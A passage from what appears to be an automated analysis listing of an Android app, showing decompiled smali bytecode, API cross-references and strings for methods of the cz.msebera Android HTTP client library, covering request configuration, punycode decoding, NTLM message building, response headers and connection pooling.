        44invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/client/config/RequestConfig$Builder;->setProxy(Lcz/msebera/android/httpclient/HttpHost;)Lcz/msebera/android/httpclient/client/config/RequestConfig$Builder;
        45move-result-object v0
        47const-string v1, "http.route.local-address"
        49invoke-interface {p0, v1}, Lcz/msebera/android/httpclient/params/HttpParams;->getParameter(Ljava/lang/String;)Ljava/lang/Object;
        50move-result-object v1
        51check-cast v1, Ljava/net/InetAddress;
        53invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/client/config/RequestConfig$Builder;->setLocalAddress(Ljava/net/InetAddress;)Lcz/msebera/android/httpclient/client/config/RequestConfig$Builder;
        54move-result-object v0
        56const-string v1, "http.auth.proxy-scheme-pref"
        58invoke-interface {p0, v1}, Lcz/msebera/android/httpclient/params/HttpParams;->getParameter(Ljava/lang/String;)Ljava/lang/Object;
        59move-result-object v1
        60check-cast v1, Ljava/util/Collection;
        62invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/client/config/RequestConfig$Builder;->setProxyPreferredAuthSchemes(Ljava/util/Collection;)Lcz/msebera/android/httpclient/client/config/RequestConfig$Builder;
        63move-result-object v0
        65const-string v1, "http.auth.target-scheme-pref"
        67invoke-interface {p0, v1}, Lcz/msebera/android/httpclient/params/HttpParams;->getParameter(Ljava/lang/String;)Ljava/lang/Object;
        68move-result-object v1
        69check-cast v1, Ljava/util/Collection;
        71invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/client/config/RequestConfig$Builder;->setTargetPreferredAuthSchemes(Ljava/util/Collection;)Lcz/msebera/android/httpclient/client/config/RequestConfig$Builder;
        72move-result-object v0
        74const-string v1, "http.protocol.handle-authentication"
        76invoke-interface {p0, v1, v3}, Lcz/msebera/android/httpclient/params/HttpParams;->getBooleanParameter(Ljava/lang/String;Z)Z
        77move-result v1
        79invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/client/config/RequestConfig$Builder;->setAuthenticationEnabled(Z)Lcz/msebera/android/httpclient/client/config/RequestConfig$Builder;
        80move-result-object v0
        82const-string v1, "http.protocol.allow-circular-redirects"
        84invoke-interface {p0, v1, v2}, Lcz/msebera/android/httpclient/params/HttpParams;->getBooleanParameter(Ljava/lang/String;Z)Z
        85move-result v1
        87invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/client/config/RequestConfig$Builder;->setCircularRedirectsAllowed(Z)Lcz/msebera/android/httpclient/client/config/RequestConfig$Builder;
        88move-result-object v0
        90const-string v1, "http.conn-manager.timeout"
        91const-wide/16 v4, 0x0
        93invoke-interface {p0, v1, v4, v5}, Lcz/msebera/android/httpclient/params/HttpParams;->getLongParameter(Ljava/lang/String;J)J
        94move-result-wide v4
        95long-to-int v1, v4
        97invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/client/config/RequestConfig$Builder;->setConnectionRequestTimeout(I)Lcz/msebera/android/httpclient/client/config/RequestConfig$Builder;
        98move-result-object v0
        100const-string v1, "http.protocol.cookie-policy"
        102invoke-interface {p0, v1}, Lcz/msebera/android/httpclient/params/HttpParams;->getParameter(Ljava/lang/String;)Ljava/lang/Object;
        103move-result-object v1
        104check-cast v1, Ljava/lang/String;
        106invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/client/config/RequestConfig$Builder;->setCookieSpec(Ljava/lang/String;)Lcz/msebera/android/httpclient/client/config/RequestConfig$Builder;
        107move-result-object v0
        109const-string v1, "http.protocol.max-redirects"
        110const/16 v4, 0x32
        112invoke-interface {p0, v1, v4}, Lcz/msebera/android/httpclient/params/HttpParams;->getIntParameter(Ljava/lang/String;I)I
        113move-result v1
        115invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/client/config/RequestConfig$Builder;->setMaxRedirects(I)Lcz/msebera/android/httpclient/client/config/RequestConfig$Builder;
        116move-result-object v0
        118const-string v1, "http.protocol.handle-redirects"
        120invoke-interface {p0, v1, v3}, Lcz/msebera/android/httpclient/params/HttpParams;->getBooleanParameter(Ljava/lang/String;Z)Z
        121move-result v1
        123invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/client/config/RequestConfig$Builder;->setRedirectsEnabled(Z)Lcz/msebera/android/httpclient/client/config/RequestConfig$Builder;
        124move-result-object v0
        126const-string v1, "http.protocol.reject-relative-redirect"
        128invoke-interface {p0, v1, v2}, Lcz/msebera/android/httpclient/params/HttpParams;->getBooleanParameter(Ljava/lang/String;Z)Z
        129move-result p0
        130xor-int/2addr p0, v3
        132invoke-virtual {v0, p0}, Lcz/msebera/android/httpclient/client/config/RequestConfig$Builder;->setRelativeRedirectsAllowed(Z)Lcz/msebera/android/httpclient/client/config/RequestConfig$Builder;
        133move-result-object p0
        135invoke-virtual {p0}, Lcz/msebera/android/httpclient/client/config/RequestConfig$Builder;->build()Lcz/msebera/android/httpclient/client/config/RequestConfig;
        136move-result-object p0
        137return-object p0
        Cross References
        APIs
        • java.lang.String.length
        • java.lang.StringBuilder.<init>
        • java.lang.String.lastIndexOf
        • java.lang.String.subSequence
        • java.lang.StringBuilder.append
        • java.lang.String.substring
        • java.lang.String.length
        • java.lang.String.charAt
        • java.lang.String.substring
        • java.lang.StringBuilder.length
        • java.lang.StringBuilder.insert
        • java.lang.StringBuilder.toString
        Position Instruction Meta Information
        0new-instance v0, Ljava/lang/StringBuilder;
        2invoke-virtual {p1}, Ljava/lang/String;->length()I
        3move-result v1
        5invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(I)V
        6const/16 v1, 0x2d
        8invoke-virtual {p1, v1}, Ljava/lang/String;->lastIndexOf(I)I
        9move-result v1
        10const/4 v2, 0x0
        11const/4 v3, 0x1
        12const/16 v4, 0x80
        13const/16 v5, 0x48
        14const/4 v6, -0x1
        15if-eq v1, v6, :cond_24
        17invoke-virtual {p1, v2, v1}, Ljava/lang/String;->subSequence(II)Ljava/lang/CharSequence;
        18move-result-object v6
        20invoke-virtual {v0, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/CharSequence;)Ljava/lang/StringBuilder;
        21add-int/2addr v1, v3
        23invoke-virtual {p1, v1}, Ljava/lang/String;->substring(I)Ljava/lang/String;
        24move-result-object p1
        25cond_24: const/4 v1, 0x0
        26goto_25:
        27invoke-virtual {p1}, Ljava/lang/String;->length()I
        28move-result v6
        29if-lez v6, :cond_84
        30const/16 v6, 0x24
        31move v7, v1
        32const/4 v8, 0x1
        33const/16 v9, 0x24
        34goto_31:
        35invoke-virtual {p1}, Ljava/lang/String;->length()I
        36move-result v10
        37if-nez v10, :cond_38
        38goto/16 :goto_58
        39cond_38:
        40invoke-virtual {p1, v2}, Ljava/lang/String;->charAt(I)C
        41move-result v10
        43invoke-virtual {p1, v3}, Ljava/lang/String;->substring(I)Ljava/lang/String;
        44move-result-object p1
        46invoke-direct {p0, v10}, Lcz/msebera/android/httpclient/client/utils/Rfc3492Idn;->digit(C)I
        47move-result v10
        48mul-int v11, v10, v8
        49add-int/2addr v7, v11
        50add-int/lit8 v11, v5, 0x1
        51if-gt v9, v11, :cond_4d
        52const/4 v11, 0x1
        53goto/16 :goto_56
        54cond_4d: add-int/lit8 v11, v5, 0x1a
        55if-lt v9, v11, :cond_54
        56const/16 v11, 0x1a
        57goto/16 :goto_56
        58cond_54: sub-int v11, v9, v5
        59goto_56: if-ge v10, v11, :cond_7d
        60goto_58: sub-int v5, v7, v1
        62invoke-virtual {v0}, Ljava/lang/StringBuilder;->length()I
        63move-result v6
        64add-int/2addr v6, v3
        65if-nez v1, :cond_63
        66const/4 v1, 0x1
        67goto/16 :goto_64
        68cond_63: const/4 v1, 0x0
        69goto_64:
        70invoke-direct {p0, v5, v6, v1}, Lcz/msebera/android/httpclient/client/utils/Rfc3492Idn;->adapt(IIZ)I
        71move-result v5
        73invoke-virtual {v0}, Ljava/lang/StringBuilder;->length()I
        74move-result v1
        75add-int/2addr v1, v3
        76div-int v1, v7, v1
        77add-int/2addr v4, v1
        79invoke-virtual {v0}, Ljava/lang/StringBuilder;->length()I
        80move-result v1
        81add-int/2addr v1, v3
        82rem-int/2addr v7, v1
        83int-to-char v1, v4
        85invoke-virtual {v0, v7, v1}, Ljava/lang/StringBuilder;->insert(IC)Ljava/lang/StringBuilder;
        86add-int/lit8 v1, v7, 0x1
        87goto/16 :goto_25
        88cond_7d: rsub-int/lit8 v10, v11, 0x24
        89mul-int v8, v8, v10
        90add-int/lit8 v9, v9, 0x24
        91goto/16 :goto_31
        92cond_84:
        93invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        94move-result-object p1
        95return-object p1
        Cross References
        APIs
        • java.net.URI.isAbsolute
        • java.net.URI.getPort
        • java.net.URI.getHost
        • java.net.URI.getAuthority
        • java.lang.String.indexOf
        • java.lang.String.length
        • java.lang.String.substring
        • java.lang.String.indexOf
        • java.lang.String.length
        • java.lang.String.charAt
        • java.lang.Character.isDigit
        • java.lang.String.substring
        • java.lang.Integer.parseInt
        • java.lang.String.substring
        • java.net.URI.getScheme
        Position Instruction Meta Information
        0const/4 v0, 0x0
        1if-nez p0, :cond_4
        2return-object v0
        3cond_4:
        4invoke-virtual {p0}, Ljava/net/URI;->isAbsolute()Z
        5move-result v1
        6if-eqz v1, :cond_73
        8invoke-virtual {p0}, Ljava/net/URI;->getPort()I
        9move-result v1
        11invoke-virtual {p0}, Ljava/net/URI;->getHost()Ljava/lang/String;
        12move-result-object v2
        13if-nez v2, :cond_64
        15invoke-virtual {p0}, Ljava/net/URI;->getAuthority()Ljava/lang/String;
        16move-result-object v2
        17if-eqz v2, :cond_64
        18const/16 v3, 0x40
        20invoke-virtual {v2, v3}, Ljava/lang/String;->indexOf(I)I
        21move-result v3
        22if-ltz v3, :cond_30
        24invoke-virtual {v2}, Ljava/lang/String;->length()I
        25move-result v4
        26add-int/lit8 v3, v3, 0x1
        27if-le v4, v3, :cond_2f
        29invoke-virtual {v2, v3}, Ljava/lang/String;->substring(I)Ljava/lang/String;
        30move-result-object v2
        31goto/16 :goto_30
        32cond_2f: move-object v2, v0
        33goto_30: if-eqz v2, :cond_64
        34const/16 v3, 0x3a
        36invoke-virtual {v2, v3}, Ljava/lang/String;->indexOf(I)I
        37move-result v3
        38if-ltz v3, :cond_64
        39add-int/lit8 v4, v3, 0x1
        40const/4 v5, 0x0
        41move v6, v4
        42const/4 v7, 0x0
        43goto_3f:
        44invoke-virtual {v2}, Ljava/lang/String;->length()I
        45move-result v8
        46if-ge v6, v8, :cond_54
        48invoke-virtual {v2, v6}, Ljava/lang/String;->charAt(I)C
        49move-result v8
        51invoke-static {v8}, Ljava/lang/Character;->isDigit(C)Z
        52move-result v8
        53if-eqz v8, :cond_54
        54add-int/lit8 v7, v7, 0x1
        55add-int/lit8 v6, v6, 0x1
        56goto/16 :goto_3f
        57cond_54: if-lez v7, :cond_60
        58add-int/2addr v7, v4
        59try_start_57:
        60invoke-virtual {v2, v4, v7}, Ljava/lang/String;->substring(II)Ljava/lang/String;
        61move-result-object v4
        63invoke-static {v4}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
        64move-result v4
        65try_end_5f: move v1, v4
        66cond_60:
        67invoke-virtual {v2, v5, v3}, Ljava/lang/String;->substring(II)Ljava/lang/String;
        68move-result-object v2
        69cond_64:
        70invoke-virtual {p0}, Ljava/net/URI;->getScheme()Ljava/lang/String;
        71move-result-object p0
        73invoke-static {v2}, Lcz/msebera/android/httpclient/util/TextUtils;->isBlank(Ljava/lang/CharSequence;)Z
        74move-result v3
        75if-nez v3, :cond_73
        76new-instance v0, Lcz/msebera/android/httpclient/HttpHost;
        78invoke-direct {v0, v2, v1, p0}, Lcz/msebera/android/httpclient/HttpHost;-><init>(Ljava/lang/String;ILjava/lang/String;)V
        79cond_73: return-object v0
        Cross References
        APIs
        • java.lang.String.getBytes
        • java.lang.String.toUpperCase
        • java.lang.String.getBytes
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.io.UnsupportedEncodingException.getMessage
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.impl.auth.NTLMEngineException.<init>
        Strings
        • UnicodeLittleUnmarked
        • Unicode not supported:
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/impl/auth/NTLMEngineException;
        3}
        4.end annotation
        5move-object v1, p0
        6move/from16 v0, p6
        8invoke-direct {p0}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$NTLMMessage;-><init>()V
        9iput v0, v1, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$Type3Message;->type2Flags:I
        11invoke-static {p2}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl;->access$1400(Ljava/lang/String;)Ljava/lang/String;
        12move-result-object v2
        14invoke-static {p1}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl;->access$1500(Ljava/lang/String;)Ljava/lang/String;
        15move-result-object v10
        16new-instance v11, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$CipherGen;
        17move-object v3, v11
        18move-object v4, v10
        19move-object v5, p3
        20move-object/from16 v6, p4
        21move-object/from16 v7, p5
        22move-object/from16 v8, p7
        23move-object/from16 v9, p8
        25invoke-direct/range {v3 .. v9}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$CipherGen;-><init>(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;[BLjava/lang/String;[B)V
        26const/high16 v3, 0x800000
        27and-int/2addr v3, v0
        28if-eqz v3, :cond_43
        29if-eqz p8, :cond_43
        30if-eqz p7, :cond_43
        31try_start_29:
        32invoke-virtual {v11}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$CipherGen;->getNTLMv2Response()[B
        33move-result-object v3
        34iput-object v3, v1, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$Type3Message;->ntResp:[B
        36invoke-virtual {v11}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$CipherGen;->getLMv2Response()[B
        37move-result-object v3
        38iput-object v3, v1, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$Type3Message;->lmResp:[B
        39and-int/lit16 v3, v0, 0x80
        40if-eqz v3, :cond_3e
        42invoke-virtual {v11}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$CipherGen;->getLanManagerSessionKey()[B
        43move-result-object v3
        44goto/16 :goto_94
        45cond_3e:
        46invoke-virtual {v11}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$CipherGen;->getNTLMv2UserSessionKey()[B
        47move-result-object v3
        48goto/16 :goto_94
        49cond_43: const/high16 v3, 0x80000
        50and-int/2addr v3, v0
        51if-eqz v3, :cond_62
        53invoke-virtual {v11}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$CipherGen;->getNTLM2SessionResponse()[B
        54move-result-object v3
        55iput-object v3, v1, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$Type3Message;->ntResp:[B
        57invoke-virtual {v11}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$CipherGen;->getLM2SessionResponse()[B
        58move-result-object v3
        59iput-object v3, v1, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$Type3Message;->lmResp:[B
        60and-int/lit16 v3, v0, 0x80
        61if-eqz v3, :cond_5d
        63invoke-virtual {v11}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$CipherGen;->getLanManagerSessionKey()[B
        64move-result-object v3
        65goto/16 :goto_94
        66cond_5d:
        67invoke-virtual {v11}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$CipherGen;->getNTLM2SessionResponseUserSessionKey()[B
        68move-result-object v3
        69goto/16 :goto_94
        70cond_62:
        71invoke-virtual {v11}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$CipherGen;->getNTLMResponse()[B
        72move-result-object v3
        73iput-object v3, v1, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$Type3Message;->ntResp:[B
        75invoke-virtual {v11}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$CipherGen;->getLMResponse()[B
        76move-result-object v3
        77iput-object v3, v1, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$Type3Message;->lmResp:[B
        78and-int/lit16 v3, v0, 0x80
        79if-eqz v3, :cond_77
        81invoke-virtual {v11}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$CipherGen;->getLanManagerSessionKey()[B
        82move-result-object v3
        83goto/16 :goto_94
        84cond_77:
        85invoke-virtual {v11}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$CipherGen;->getNTLMUserSessionKey()[B
        86move-result-object v3
        87try_end_7b: goto/16 :goto_94
        88catch_7c: const/4 v3, 0x0
        89new-array v3, v3, [B
        90iput-object v3, v1, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$Type3Message;->ntResp:[B
        92invoke-virtual {v11}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$CipherGen;->getLMResponse()[B
        93move-result-object v3
        94iput-object v3, v1, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$Type3Message;->lmResp:[B
        95and-int/lit16 v3, v0, 0x80
        96if-eqz v3, :cond_90
        98invoke-virtual {v11}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$CipherGen;->getLanManagerSessionKey()[B
        99move-result-object v3
        100goto/16 :goto_94
        101cond_90:
        102invoke-virtual {v11}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$CipherGen;->getLMUserSessionKey()[B
        103move-result-object v3
        104goto_94: and-int/lit8 v4, v0, 0x10
        105const/4 v5, 0x0
        106if-eqz v4, :cond_ac
        107const/high16 v4, 0x40000000 # 2.0f
        108and-int/2addr v0, v4
        109if-eqz v0, :cond_a9
        111invoke-virtual {v11}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$CipherGen;->getSecondaryKey()[B
        112move-result-object v0
        114invoke-static {v0, v3}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl;->RC4([B[B)[B
        115move-result-object v0
        116iput-object v0, v1, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$Type3Message;->sessionKey:[B
        117goto/16 :goto_ae
        118cond_a9: iput-object v3, v1, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$Type3Message;->sessionKey:[B
        119goto/16 :goto_ae
        120cond_ac: iput-object v5, v1, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$Type3Message;->sessionKey:[B
        121goto_ae: if-eqz v2, :cond_b9
        122try_start_b0:
        123const-string v0, "UnicodeLittleUnmarked"
        125invoke-virtual {v2, v0}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B
        126move-result-object v0
        127goto/16 :goto_ba
        128catch_b7: move-exception v0
        129goto/16 :goto_d6
        130cond_b9: move-object v0, v5
        131goto_ba: iput-object v0, v1, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$Type3Message;->hostBytes:[B
        132if-eqz v10, :cond_ca
        134sget-object v0, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
        136invoke-virtual {v10, v0}, Ljava/lang/String;->toUpperCase(Ljava/util/Locale;)Ljava/lang/String;
        137move-result-object v0
        139const-string v2, "UnicodeLittleUnmarked"
        141invoke-virtual {v0, v2}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B
        142move-result-object v5
        143cond_ca: iput-object v5, v1, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$Type3Message;->domainBytes:[B
        145const-string v0, "UnicodeLittleUnmarked"
        146move-object v2, p3
        148invoke-virtual {p3, v0}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B
        149move-result-object v0
        150iput-object v0, v1, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$Type3Message;->userBytes:[B
        151try_end_d5: return-void
        152goto_d6: new-instance v2, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineException;
        153new-instance v3, Ljava/lang/StringBuilder;
        155invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
        157const-string v4, "Unicode not supported: "
        159invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        161invoke-virtual {v0}, Ljava/io/UnsupportedEncodingException;->getMessage()Ljava/lang/String;
        162move-result-object v4
        164invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        166invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        167move-result-object v3
        169invoke-direct {v2, v3, v0}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
        170throw v2
        APIs
        • java.lang.Long.toString
        • cz.msebera.android.httpclient.ProtocolException.<init>
        Strings
        • HTTP response
        • Transfer-Encoding
        • Content-Length
        • chunked
        • Content-Type
        • Content-Encoding
        • 0
        • Content-Length header already present
        • Transfer-encoding header already present
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/HttpException;,
        3Ljava/io/IOException;
        4}
        5.end annotation
        7const-string p2, "HTTP response"
        9invoke-static {p1, p2}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        10iget-boolean p2, p0, Lcz/msebera/android/httpclient/protocol/ResponseContent;->overwrite:Z
        11if-eqz p2, :cond_14
        13const-string p2, "Transfer-Encoding"
        15invoke-interface {p1, p2}, Lcz/msebera/android/httpclient/HttpResponse;->removeHeaders(Ljava/lang/String;)V
        17const-string p2, "Content-Length"
        19invoke-interface {p1, p2}, Lcz/msebera/android/httpclient/HttpResponse;->removeHeaders(Ljava/lang/String;)V
        20goto/16 :goto_24
        21cond_14:
        22const-string p2, "Transfer-Encoding"
        24invoke-interface {p1, p2}, Lcz/msebera/android/httpclient/HttpResponse;->containsHeader(Ljava/lang/String;)Z
        25move-result p2
        26if-nez p2, :cond_ae
        28const-string p2, "Content-Length"
        30invoke-interface {p1, p2}, Lcz/msebera/android/httpclient/HttpResponse;->containsHeader(Ljava/lang/String;)Z
        31move-result p2
        32if-nez p2, :cond_a6
        33goto_24:
        34invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpResponse;->getStatusLine()Lcz/msebera/android/httpclient/StatusLine;
        35move-result-object p2
        37invoke-interface {p2}, Lcz/msebera/android/httpclient/StatusLine;->getProtocolVersion()Lcz/msebera/android/httpclient/ProtocolVersion;
        38move-result-object p2
        40invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpResponse;->getEntity()Lcz/msebera/android/httpclient/HttpEntity;
        41move-result-object v0
        42if-eqz v0, :cond_8a
        44invoke-interface {v0}, Lcz/msebera/android/httpclient/HttpEntity;->getContentLength()J
        45move-result-wide v1
        47invoke-interface {v0}, Lcz/msebera/android/httpclient/HttpEntity;->isChunked()Z
        48move-result v3
        49if-eqz v3, :cond_4c
        51sget-object v3, Lcz/msebera/android/httpclient/HttpVersion;->HTTP_1_0:Lcz/msebera/android/httpclient/HttpVersion;
        53invoke-virtual {p2, v3}, Lcz/msebera/android/httpclient/ProtocolVersion;->lessEquals(Lcz/msebera/android/httpclient/ProtocolVersion;)Z
        54move-result p2
        55if-nez p2, :cond_4c
        57const-string p2, "Transfer-Encoding"
        59const-string v1, "chunked"
        61invoke-interface {p1, p2, v1}, Lcz/msebera/android/httpclient/HttpResponse;->addHeader(Ljava/lang/String;Ljava/lang/String;)V
        62goto/16 :goto_5f
        63cond_4c: const-wide/16 v3, 0x0
        64cmp-long p2, v1, v3
        65if-ltz p2, :cond_5f
        67const-string p2, "Content-Length"
        69invoke-interface {v0}, Lcz/msebera/android/httpclient/HttpEntity;->getContentLength()J
        70move-result-wide v1
        72invoke-static {v1, v2}, Ljava/lang/Long;->toString(J)Ljava/lang/String;
        73move-result-object v1
        75invoke-interface {p1, p2, v1}, Lcz/msebera/android/httpclient/HttpResponse;->addHeader(Ljava/lang/String;Ljava/lang/String;)V
        76goto_5f:
        77invoke-interface {v0}, Lcz/msebera/android/httpclient/HttpEntity;->getContentType()Lcz/msebera/android/httpclient/Header;
        78move-result-object p2
        79if-eqz p2, :cond_74
        81const-string p2, "Content-Type"
        83invoke-interface {p1, p2}, Lcz/msebera/android/httpclient/HttpResponse;->containsHeader(Ljava/lang/String;)Z
        84move-result p2
        85if-nez p2, :cond_74
        87invoke-interface {v0}, Lcz/msebera/android/httpclient/HttpEntity;->getContentType()Lcz/msebera/android/httpclient/Header;
        88move-result-object p2
        90invoke-interface {p1, p2}, Lcz/msebera/android/httpclient/HttpResponse;->addHeader(Lcz/msebera/android/httpclient/Header;)V
        91cond_74:
        92invoke-interface {v0}, Lcz/msebera/android/httpclient/HttpEntity;->getContentEncoding()Lcz/msebera/android/httpclient/Header;
        93move-result-object p2
        94if-eqz p2, :cond_a5
        96const-string p2, "Content-Encoding"
        98invoke-interface {p1, p2}, Lcz/msebera/android/httpclient/HttpResponse;->containsHeader(Ljava/lang/String;)Z
        99move-result p2
        100if-nez p2, :cond_a5
        102invoke-interface {v0}, Lcz/msebera/android/httpclient/HttpEntity;->getContentEncoding()Lcz/msebera/android/httpclient/Header;
        103move-result-object p2
        105invoke-interface {p1, p2}, Lcz/msebera/android/httpclient/HttpResponse;->addHeader(Lcz/msebera/android/httpclient/Header;)V
        106goto/16 :goto_a5
        107cond_8a:
        108invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpResponse;->getStatusLine()Lcz/msebera/android/httpclient/StatusLine;
        109move-result-object p2
        111invoke-interface {p2}, Lcz/msebera/android/httpclient/StatusLine;->getStatusCode()I
        112move-result p2
        113const/16 v0, 0xcc
        114if-eq p2, v0, :cond_a5
        115const/16 v0, 0x130
        116if-eq p2, v0, :cond_a5
        117const/16 v0, 0xcd
        118if-eq p2, v0, :cond_a5
        120const-string p2, "Content-Length"
        122const-string v0, "0"
        124invoke-interface {p1, p2, v0}, Lcz/msebera/android/httpclient/HttpResponse;->addHeader(Ljava/lang/String;Ljava/lang/String;)V
        125cond_a5: return-void
        126cond_a6: new-instance p1, Lcz/msebera/android/httpclient/ProtocolException;
        128const-string p2, "Content-Length header already present"
        130invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/ProtocolException;-><init>(Ljava/lang/String;)V
        131throw p1
        132cond_ae: new-instance p1, Lcz/msebera/android/httpclient/ProtocolException;
        134const-string p2, "Transfer-encoding header already present"
        136invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/ProtocolException;-><init>(Ljava/lang/String;)V
        137throw p1
        Cross References
        APIs
        • java.util.concurrent.Future.get
        • java.util.concurrent.Future.isCancelled
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.InterruptedException.<init>
        • cz.msebera.android.httpclient.conn.ConnectionPoolTimeoutException.<init>
        Strings
        • Pool entry with no connection
        • Connection leased:
        • Timeout waiting for connection from pool
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Signature;
        1value = {
        2"(",
        3"Ljava/util/concurrent/Future<",
        4"Lcz/msebera/android/httpclient/impl/conn/CPoolEntry;",
        5">;J",
        6"Ljava/util/concurrent/TimeUnit;",
        7")",
        8"Lcz/msebera/android/httpclient/HttpClientConnection;"
        9}
        10.end annotation
        11.annotation system Ldalvik/annotation/Throws;
        12value = {
        13Ljava/lang/InterruptedException;,
        14Ljava/util/concurrent/ExecutionException;,
        15Lcz/msebera/android/httpclient/conn/ConnectionPoolTimeoutException;
        16}
        17.end annotation
        18try_start_0:
        19invoke-interface {p1, p2, p3, p4}, Ljava/util/concurrent/Future;->get(JLjava/util/concurrent/TimeUnit;)Ljava/lang/Object;
        20move-result-object p2
        21check-cast p2, Lcz/msebera/android/httpclient/impl/conn/CPoolEntry;
        22if-eqz p2, :cond_50
        24invoke-interface {p1}, Ljava/util/concurrent/Future;->isCancelled()Z
        25move-result p1
        26if-nez p1, :cond_50
        28invoke-virtual {p2}, Lcz/msebera/android/httpclient/impl/conn/CPoolEntry;->getConnection()Ljava/lang/Object;
        29move-result-object p1
        30if-eqz p1, :cond_16
        31const/4 p1, 0x1
        32goto/16 :goto_17
        33cond_16: const/4 p1, 0x0
        34goto_17:
        35const-string p3, "Pool entry with no connection"
        37invoke-static {p1, p3}, Lcz/msebera/android/httpclient/util/Asserts;->check(ZLjava/lang/String;)V
        39iget-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/PoolingHttpClientConnectionManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        41invoke-virtual {p1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        42move-result p1
        43if-eqz p1, :cond_4b
        45iget-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/PoolingHttpClientConnectionManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        46new-instance p3, Ljava/lang/StringBuilder;
        48invoke-direct {p3}, Ljava/lang/StringBuilder;-><init>()V
        50const-string p4, "Connection leased: "
        52invoke-virtual {p3, p4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        54invoke-direct {p0, p2}, Lcz/msebera/android/httpclient/impl/conn/PoolingHttpClientConnectionManager;->format(Lcz/msebera/android/httpclient/impl/conn/CPoolEntry;)Ljava/lang/String;
        55move-result-object p4
        57invoke-virtual {p3, p4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
